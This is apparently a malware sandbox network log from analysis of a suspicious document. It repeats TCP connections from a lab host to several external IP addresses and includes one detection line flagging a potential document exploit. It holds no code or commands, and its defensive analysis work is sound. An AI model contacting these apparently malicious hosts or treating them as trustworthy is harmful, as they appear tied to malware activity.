Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 41.63.0.22:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49181 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49182 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49184 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49184 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49184 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49183 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49185 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49185 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49185 -> 173.255.211.88:443
